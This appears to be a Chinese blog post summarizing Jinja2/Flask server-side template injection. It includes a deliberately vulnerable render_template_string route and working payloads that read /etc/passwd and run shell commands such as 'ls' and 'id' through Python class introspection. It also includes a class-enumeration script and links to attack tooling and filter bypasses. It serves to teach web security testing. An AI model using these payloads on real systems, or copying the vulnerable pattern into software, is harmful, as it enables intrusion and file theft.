zoukankan      html  css  js  c++  java
  • SSTI模板注入/python代码注入一点总结

    原理

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)
    
    1. code变量可控,可以进行xss利用。注意:若模板可控,会对模板实体化编码无法xss。
    2. SSTI文件读取/命令执行;在Jinja2模板引擎中,{{}}是变量包裹标识符。{{2*4}}并不仅仅可以传递变量,还可以执行一些简单的表达式。''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    3. 命令执行''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    4. {{config}} {{3*7}}

    不正确的使用flask中的render_template_string方法会引发SSTI。
    参考链接1
    参考链接2

    相关基础概念

    一些魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    

    寻找payload

    要想执行命令便需要有可以执行命令的模块,一般来说很容易想到的模块便是os.

    #寻找包含os模块的脚本
    #!/usr/bin/env python
    # encoding: utf-8
    for item in ''.__class__.__mro__[2].__subclasses__():
        try:
             if 'os' in item.__init__.__globals__:
                 print num,item
             num+=1
        except:
            print '-'
            num+=1
    

    找eval

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    模板

    flask是使用Jinja2来作为渲染引擎的。看例子

    在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html')
    	
    	
    /templates/index.html
    <h1>This is index page</h1>
    

    挖掘技巧

    白盒

    Render_template_string()
    templates:文件夹用来存放模板文件

    黑盒

    Jinja2 是一个在 Web 框架 中经常使用的模板引擎,像 Flask、Bottle、 Morepath 以及随着 1.8 版的更新,现在的 Django 也可选用该引擎了。 Jinja2 也被 配置管理 工具 Ansible 、静态网站生成器 Pelican 等其它许多类似工具用作模板语言。

    搜索漏洞时,尝试并识别底层的技术(框架、前端渲染引擎、以及其他)是个不错的理念,以便发现可能的攻击向量。模板引擎的不同变种,使我们难于准确地说,什么适用于所有环境,但是,知道用了什么技术会有帮助。要留意一些机会,其中你可控制的文本在页面上,或者一些其他地方(例如邮件)渲染给你。

    常见Payload

    自动化工具

    https://github.com/epinna/tplmap

    bypass tricks

    https://0day.work/jinja2-template-injection-filter-bypasses/

    记得旧文章 便是新举子
  • 相关阅读:
    CentOS7- 配置阿里镜像源
    MySQL学习笔记
    OSI&TCP/IP模型
    加密算法学习
    golang学习笔记
    Redis学习总结整理
    TCP
    HTTP/HTTPS
    HTTP2
    MVCC
  • 原文地址:https://www.cnblogs.com/NBeveryday/p/SSTI.html
Copyright © 2011-2022 走看看